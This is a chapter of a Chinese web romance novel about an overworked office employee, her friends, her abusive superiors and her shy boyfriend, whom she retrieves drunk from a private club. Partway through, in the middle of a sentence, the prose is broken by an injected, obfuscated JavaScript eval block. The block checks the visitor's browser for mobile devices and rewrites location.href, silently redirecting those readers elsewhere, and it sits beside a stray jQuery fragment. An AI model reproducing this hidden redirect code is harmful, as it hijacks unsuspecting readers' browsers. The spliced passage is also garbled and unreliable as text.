次日下午两点，宋栀若准时出现在咖啡厅赴约。


    “大忙人，很准时哦。”


    “栀若什么时候不准时过？”


    许暮夏招手喊服务员点单：“来吧，今天姐妹请客，想吃什么随便点。”


    姜菱接过甜点单：“那我可不客气了，栀若你看看你要点什么？”


    “给我来杯拿铁。”宋栀若打了个哈欠。


    许暮夏盯着她，咧开嘴笑。


    宋栀若搓了搓手臂上的鸡皮疙瘩：“你干嘛这么看着我？”


    “昨天晚上。”她暧昧地勾勾唇，压低声音，“没少跟你们家偶像……”


    宋栀若瞬间红了脸：“你想什么呢？我昨晚改报告改到2点。”


    许暮夏瞬间萎掉：“你骗我的吧？”


    “骗你干嘛？”宋栀若声音低了下去，嘟囔道，“我们连吻都没接过。”


    “什么！”


    宋栀若按了按被严重刺激的耳膜，瞪她：“对于一个每天睡眠不足的牛马，我请你善待我的耳膜。”


    “不是，你们俩正不正常？你们在一起都快四个多月了吧？”许暮夏想到什么，一下子蹿坐起来，“不会是他有什么隐疾？”


    “你再胡乱揣测我要生气了。”


    “对不起嘛，我不是想窥探你的私生活，但你不觉得奇怪吗？安洵不会是不喜欢你还故意吊着你吧？”


    “不会啊，谁说他不喜欢我？”


    许暮夏皮笑肉不笑：“你还挺自信？”


    “他虽然话不多，但会记得我的喜好，把我的事都放在心上，我说过什么他都会记得，就像我随口说好久没有喝到学校的奶茶，他就会在下次见我的时候特意去给我买一杯带给我。”


    姜菱看着许暮夏逐渐难以形容的脸色偷笑。


    “他也不是不想靠近我，每次坐着的时候，他都会不着痕迹地贴过来，就像猫一样，但就是不敢贴近，我还发现，我遗落下的什么小东西，他都喜欢收集起来偷偷藏在自己书房的抽屉里。”就像她上次遗留下的发圈。


    “够了。”许暮夏咬牙，她还没吃下午茶呢，狗粮先吃饱了，“你们两不是在一起了吗？安洵这完全就在搞暗恋是闹哪出？”


    “我也不懂，但他喜欢就按他喜欢的模式相处吧。”她也没有经验可供参考。


    许暮夏麻木道：“你可真心大，大概也就你受得了他。”


    “栀若第一次谈恋爱，就让她慢慢摸索吧。”


    宋栀若耸耸肩，看了眼震动的手机，接起电话：“喂，组长？”


    “现在？”宋栀若皱了皱眉，“好，我马上过来。”


    姜菱看着她收拾东西站起身：“栀若，你干嘛去？”


    “我得回去加班，不能陪你们吃下午茶了。”


    “今天不是周末吗？”


    宋栀若看了眼时间：“我尽量赶过来跟你们一起吃晚饭，先走了。”


    许暮夏看着宋栀若匆忙离开的背影摇头：“别理这个工作狂，我们玩我们的。”


    *


    “啪——”


    文件夹被甩在桌上，扬起看不见的尘埃。


    “你看看你做的项目书，连行间距都做不对，怎么给我们的客户？”


    宋栀若垂眸看着排列整齐的项目报告，抿唇不语。


    “去改，改完拿来给我看，改不好不许下班。你别以为转正了就万事无忧了，我们实行的是末位淘汰，你不纠正自己的态度，一样给我卷铺盖走人。”


    “我知道了，组长。”


    宋栀若拿过报告，转身走出办公室。


    “小宋啊。”


    宋栀若脚步一顿。


    “人呢要知道选对队伍，自己也好，身边的人也好，不然就会连累自己的前途，你还年轻，又这么聪明，应该明白我说的。”


    “我明白，谢谢组长提点。”


    “嗯，去改报告吧。”


    宋栀若拿着文件大步走向自己的工位。


    “诶，你等等。”


    宋栀若回头。


    “秋莳总。”


    西装革履的男人嘴角往下一撇，朝她走来：“你穿的这什么？你以为公司是菜市场吗？”


    宋栀若低头打量了一眼自己身上再正常不过的休闲装：“我是临时……”


    “以后到公司，一律穿职业装，别以为仗着自己年轻有点姿色就可以无视公司的规矩。”


    宋栀若轻轻深吸了口气，捏着文件夹的指尖紧了紧，又放松下来：“我下次会注意。”


    “手里拿的什么？”


    “是贝溯的项目书，组长跟我说有一点问题，需要修改一下。”


    “拿来给我看看。”


    宋栀若将文件递给他。


    男人潦草地随手翻了几页，眉心不耐地拧成一个川字，他甩着黑色文件夹，塑料制品在空中柔软地晃动了几下：“这就是你做的项目书？这届的新人就这个水平，我听说你是以你们学校专业成绩第一名毕业的，s大就出这种货色？”


    宋栀若敛眸，忍耐着没有回嘴。


    “拿回去重新做，做完直接拿给我，不通过就别下班。”


    王秋莳将文件塞回她手里，转身就走。


    有加班的同事探头，轻轻跟宋栀若挥手。


    “栀若，你是不是哪里得罪秋莳总了？他以前不是挺认可你的能力的吗？”


    “没有，大概是我最近确实表现不好。”


    “哎，你就是脾气太好。”同事顿了顿，摇头，“不过在人手底下干活，除了忍我们还能有什么别的办法。”


    宋栀若笑了笑：“你忙吧，我也要去改项目书了。”


    “嗯，那你快去吧。”


    宋栀若给许暮夏和姜菱发了个信息，表示今天过不去了。


    许暮夏：「！！！」


    许暮夏：「这可是我在国内的最后一顿，你竟然选择工作也不选择我？？？」


    宋栀若失笑：「下次我跟菱菱一起飞去看你，请你吃大餐。」


    许暮夏：「图片.jpg」


    许暮夏：「截图为证。」


    宋栀若放下手机，投入到工作中。


    快8点的时候，安洵打来电话，宋栀若边对着文件在屏幕上一个一个校对文字，边将手机举到耳边。


    “喂。”


    “你跟朋友们的聚会什么时候结束？我可以来接你吗？”


    “我在公司加班，估计今天不能过去找你了。”


    安洵皱了皱眉：“你这一个月一直在加班，几乎都没休息过。”


    “是啊，一直在加班。”宋栀若叹了口气，揉了揉发酸的脖子。


    “吃晚饭了吗？”


    “还没。”


    “我给你送晚饭？”


    “不用，我在公司楼下的咖啡厅对付几口就行。”


    电话那头沉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478024|201595||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    默下来。


    宋栀若的心神扑在项目书上，也没留意：“不说了，我得改报告了。”


    “好。”


    夜逐渐变深，宋栀若再抬头时，昏暗的办公室只剩下她这里一盏光亮，时针恰好指向11点。


    她推动椅子看了眼总监办公室，那里早已关灯落了锁。


    她再次轻轻叹了口气，以邮件的形式将两版项目书发送给他，顺便抄送组长和同组的组员，伸了个懒腰准备收拾东西下班。


    “喂。”


    “宋小姐，你能过来一趟吗？”


    “怎么了？”宋栀若背起包往外走去，白助理那边听起来闹哄哄的。


    “哥喝多了，我……你能来接他一下吗？”


    宋栀若的脚步慢下来，这才察觉助理的声音似乎不太对劲。


    “我真的不知道该怎么办，你能来一下吗？”


    “地址发我。”


    接近午夜的会所依旧热闹，门口的黑衣保镖面无表情地伸手拦住宋栀若的去路：“不好意思女士，这里只有会员才能进出，请出示您的会员身份。”


    宋栀若眉心下压，抬头看了眼会所的灯牌，低头拿出手机。


    “喂，能请你帮个忙吗？当我欠你一个人情。”


    傅禹铭惊讶，他已经很久没有收到过宋栀若的讯息了。


    “什么忙？”


    5分钟后，宋栀若顺利进入会所，按照白助理的信息找到包间号。


    “秦总，哥真的不能再喝了，让我送他回去吧，明早还......”


    “嘭——”地一声，门被推开。


    包间中，衣着光鲜亮丽的人们朝门口齐齐看去。


    宋栀若镇定自若地走进包间，示意了一下白助理，从他手上接过脸色苍白的安洵，浓浓的酒气侵染过来。


    她揽住他的腰，感受到他沉沉的脑袋低下来，抵到她肩头。


    “怎么喝这么多？”


    “对不起。”


    “对不起什么？”


    他没说话，将酡红的脸颊贴在她肩上。


    秦云熙面色不善地看了眼旁若无人的两人，锐利的眸光射向宋栀若：“你哪位？”


    宋栀若转过头，抬睫对上对方的目光：“我是安洵的女朋友，很晚了，我该带他回去了。”


    “白助理，我们走吧。”


    “宋小姐是吧，不该你肖想的人，你就不该随便肖想，否则，就不是加几个班，被训斥几句这么简单了。”


    宋栀若停下脚步，揽紧安洵的腰，回过头：“秦总，是你不该肖想我的人。”


    她没再停留，带着安洵离开，助理急急忙忙跟上他们的脚步。


    “呼，吓死我了，我还以为秦总不会轻易放我们离开。宋小姐，你刚才好镇定……”助理回过头，见宋栀若正小心地托着安洵的脑袋替他温柔地擦去额头的汗，急忙转回头去。


    “难受吗安洵？”


    “对不起。”


    他躲开她的手，不住地往她肩上拱，就是不肯离开。


    宋栀若没办法，只是用冰凉的手贴在他滚烫的脸颊上，对司机道：“走吧。”


    车子启动，缓缓离开会所的地下停车场。


    车内的灯光暗了下来，只剩下街角的路灯偶尔掠过几道残影。


    “对不起。”


    宋栀若侧头，感受到脖子处有温热的濡湿，刚要抬起的指尖僵在半空。